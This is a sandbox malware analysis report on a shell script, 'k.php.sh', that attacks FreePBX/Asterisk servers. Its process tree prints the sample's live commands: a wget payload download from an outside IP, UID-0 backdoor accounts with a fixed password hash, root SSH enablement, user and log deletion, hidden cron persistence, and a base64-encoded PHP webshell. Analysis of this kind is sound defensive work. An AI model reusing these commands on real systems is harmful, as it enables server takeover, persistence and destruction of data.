Analysis
- max time kernel
17s - max time network
98s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
27/07/2026, 22:43
General
- Target k.php.sh
- Size 48KB
- Sample260727-2ne68stvas
- SHA256 10ada20cd985da2b6ba1e0a5ce914582f37b12e6b4fc6c0c3f70466b1f9fa06a
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 22 IoCs
- Creates/modifies Cron job 1 TTPs 9 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 14 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 19 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Checks CPU configuration 1 TTPs 35 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 20 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
-
/bin/bashbash2⤵
- Modifies password files for system users/ groups
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/rmrm -rf /tmp/k.php.sh /tmp/systemd-private-ff1c070da3834b1091d1abd9688dce59-systemd-timedated.service-81i8Ow "/tmps/*" "/trmp/*" /var/tmp/systemd-private-ff1c070da3834b1091d1abd9688dce59-systemd-timedated.service-UdLxDi "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/nobody5⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
- Reads runtime system information
-
-
/bin/rmrm -rf /home/user5⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/3⤵
-
-
/bin/grepgrep -rlZ atmin /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/usr/bin/sortsort -u3⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵
-
-
/usr/bin/cutcut -d : -f13⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵
-
-
/sbin/grepgrep -Il "<?php system("4⤵
-
-
/bin/grepgrep -Il "<?php system("4⤵
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/usr/bin/trtr -dc a-z0-93⤵
-
-
/usr/bin/headhead -c83⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.kh15m30r3⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.kh15m30r3⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.kh15m30r3⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bashrc3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /etc/rc.local3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
-
/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
- Reads runtime system information
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/systemctlsystemctl reload sshd3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT3⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config3⤵
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache3⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache3⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config3⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config3⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data3⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data3⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority3⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X113⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority3⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc3⤵
-
-
/bin/mkdirmkdir -p /opt/.local3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc3⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg3⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig3⤵
-
-
